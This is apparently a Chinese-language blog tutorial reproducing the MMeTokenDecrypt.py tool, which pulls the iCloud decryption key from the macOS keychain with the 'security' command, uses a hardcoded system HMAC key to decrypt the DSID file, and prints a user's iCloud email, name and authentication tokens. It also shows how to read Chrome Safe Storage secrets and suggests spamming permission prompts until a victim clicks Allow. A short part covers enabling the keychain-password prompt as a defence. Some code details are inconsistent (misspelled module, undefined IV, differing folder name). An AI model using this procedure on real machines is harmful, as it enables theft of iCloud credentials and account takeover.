MMeTokenDecrypt.py

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MMeTokenDecrypt实践操作

前言背景

在MacOS系统的深处，有一把神秘的小钥匙。这把密钥由44个随机字符组成，它的作用非常大。

有多大？它可以用来解开我们存储在系统里面的授权Token！

我们都知道（未读原文前我根本就不知道，😆），在MacOS里，用户的授权Token都存储在/Users/*/Library/Application Support/iCloud/Accounts/这个目录下，以用户的iCloud账号（邮箱）为名的文件，其存储格式是DSID，这个文件是加密过的。

那平常系统需要用到这个文件里面存储的token的时候，是如何解密的呢？

这里涉及另外一个密钥，这个密钥存储在用户的keyChain里面，一个名为iCloud的条目。

系统需要解密这个DSID文件时，就会从keyChain里面拿出解密密钥，进行base64编码，作为Hmac算法的消息体输入，然后和上面提到的神秘小钥匙进行了MD5加密，得到一把新的钥匙。

而这个DSID文件，是采用128位AES的CBC加密模式加密的。CBC加密模式就是密码分组链接模式，这种模式是先将明文切分成若干小段，然后每一小段与初始块或者上一段的密文段进行异或运算后，再与密钥（也就是上面新产生的那把钥匙）进行加密。当然，这个过程还混合了一个空的初始化向量进行计算。

所以，根据上文的分析，只要我们找到系统的神秘小钥匙和拿到keyChain里面iCloud的存储条目，那我们就可以尝试解密DSID这个文件，拿到用户的Token。

而这里的神秘小钥匙已经被原文作者找到了并提供出来，作者在原文里主要阐述的是keyChain里面存在的bug，导致解密密钥容易被泄露。

那么接下来，我们就开始复现作者的思路。

keyChain的不安全性

本来keychain作为用户存储密码的载体，应该是做到很安全的，但这里有一个原文作者认为的bug，恶意用户可以根据这个bug来绕过钥匙串密码从而拿到keychain里面存储的条目。当然，这个绕过方式是有条件的，以下分别介绍两种情况。

当用户没有设防

我们首先打开keychain应用(Spotlight里面输入Keychain Access进行搜索)。

然后在左侧种类栏目密码一项进行选中，右侧就会出现存储在本机上的所有安全信息存储。这里进行筛选，找到我们的试验目标：Chrome Safe Storage。这个条目存储了谷歌Chrome浏览器的安全存储信息解密密钥。

那要如何拿到这个解密密钥呢？上文我们已经提及到了，这里打开命令行。输入以下命令：

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$ security find-generic-password -ga 'Chrome'

这里使用到了 security命令，它是非常强大命令行安全工具，之前我们重签的那篇文章里面也使用到了这个命令去查找有效的证书。

这里的参数解释如下：

  • find-generic-password 命令参数，是使用“查找密码”的功能。
  • -a，这个参数是匹配类型为“账户”的，用于过滤。
  • -g，这个参数是将查询到的密码显示出来。

运行这个命令后，系统马上就会弹出一个提示框，如下：

那么到这里，只要用户点击了“允许”按钮，那么就可以马上得到存储在keychain里面的密钥了。如下：

这里security请求钥匙串访问的权限，用户点击“允许”后，就能读取到相应的password。

假如有人未经你允许擅动你电脑，这个时候就可以轻而易举的窃取了你密码。

当然，如果是远程的恶意黑客，那么有可能会无限次弹出弹窗提示，直至逼到你点击“允许”按钮为止。

那我们该如何防范这种情况呢？请往下看。

当用户开启了“询问钥匙串密码”选项

我们回到刚刚keychain 里面那个chrome safe storage的条目，右键选择显示简介。

切换到访问控制的面板，将询问钥匙串密码选中。

这里有另外一个小bug，就是keychain里面的更改需要重复两次操作，才能真正的修改成功，当我们勾选了这个选项，切换到属性然后再切换回来的时候，发现这个选项又没有被选中，需要再重复操作一遍才行。

然后我们回到命令行，重新输入上面security的命令，这一次我们发现弹窗出来不一样了。这里需要我们输入钥匙串密码。

所以当我们开启了这个选项，就算别人偷偷用你的电脑，没有你的钥匙串密码，也无法得到其中的安全信息。这里就多了一道防护。

以上的操作步骤，我们主要对是否开启钥匙串密码的安全性做一点讨论。接下来我们要使用脚本来自动获取密码，并且结合系统的神秘小钥匙，用来解密我们iCloud条目里面的Token。

MMeToenDecrypt.py 解析

先引入所需要的库。

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import base64, hashlib, hmac, subprocess, sys, glob, os, binasicc
from Foundation import NSData, NSPropertyListSerialization
  • base64用来加密iCloud的钥匙。
  • hashlib用于计算md5
  • subprocess用于fork一个子进程，并运行一个外部程序。

按照上面的方法，使用security命令获取iCloud条目的密码。

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security find-generic-password -ws 'iCloud'
  • -w 参数是用于仅显示密码项。
  • -s 参数是用于指定类型为server的条目，并匹配后面的关键词。

在python里面，我们可以是subprocess库来运行外部程序，将shell环境下命令运行的结果返回到本程序。如果没有获取到，则打印报错信息，再退出程序。

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iCloudKey = subprocess.check_output("security find-generic-password -ws 'iCloud' | awk {'print $1'}", shell=True).replace("\n", "")
if iCloudKey == "":
    print "Error getting iCloud Decryption Key"
    sys.exit()

得到iCloud的密码后，我们将其进行base64编码

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msg = base64.b64decode(iCloudKey)

接下来上场的是我们那把神秘的小钥匙了。

它在所有的Macos版本里面都用于生成Hmac哈希。它是用于解密的关键。

在位于/System/Library/PrivateFrameworks/AOSKit.framework/Versions/A/AOSKit路径下的系统库，执行了下面的方法，调用了CCHmac来生成一个Hmac，用于解密秘钥。

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KeychainAccountStorage _generateKeyFromData:
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key = "t9s\"lx^awe.580Gj%'ld+0LG<#9xa?>vb)-fkwb92[}"

将上面得到的iCloudKey和系统神秘钥匙使用hmac进行md5计算。

并将我们得到的哈希值进行16进制转换。

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hashed = hmac.new(key, msg, digestmod=hashlib.md5).digest()
hexedKey = binascii.hexlify(hashed)

我们知道用户的授权Token都存放在~/Library/Application Support/iCloud/Accounts/ 下，所以要遍历一下该文件夹下面的文件，判断是否为我们所需要的DSID文件(纯数字文件名)。

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mmeTokenFile = glob.glob("%s/Library/Application Support/iCloud/Account/*" % os.path.expanduser("~"))
for x in mmeTokenFile:
    try:
        int(x.split("/")[-1])
        mmeTokenFile = x
    except:
        continue
if not isinstance(mmeTokenFile, str):
    print"Could not find MMeTokenFile. You can specify the file manually"
  	sys.exit()
else:
    print "Decrypting token plist -> [%s]\n" % mmeTokenFile

接下来我们使用openssl这个命令行工具，将一个空的初始化向量IV和上面已经被16进制转换的密钥，以及我们找到DSID文件，进行128位的AES解密。

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decryptedBinary = subprocess.check_output("openssl enc -d -aes-128-cbc -iv '%s' -K %s < '%s'" % (IV, hexedKey, mmeTokenFile), shell=True)

这里得到的decryptedBinary是解密出来的二进制数据，我们使用Foundation库里面的类来将它转化为可读取的plist格式。

然后遍历这个plist格式对象，将其中的内容打印出来。

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binToPlist = NSData.dataWithBytes_length_(decryptedBinary, len(decryptedBinary))
tokenPlist = NSPropertyListSerialization.propertyListWithData_options_format_error_(binToPlist, 0, None, None)[0]
print "Successfully decrypted token plist!\n"
print "%s [%s -> %s]" % (tokenPlist["appleAccountInfo"]["primaryEmail"], tokenPlist["appleAccountInfo"]["fullName"], tokenPlist["appleAccountInfo"]["dsPrsID"])
print tokenPlist["tokens"]

至此，我们的重现步骤到此结束，整个流程下来你可以发现，只要用户不小心点击了“允许”按钮，我们就很容易的窃取到了iCloud里面的Token。

你可以尝试在自己的机子上运行这份代码，假如能够打印出来相关的iCloud账号Token，那就说明你成功重现了。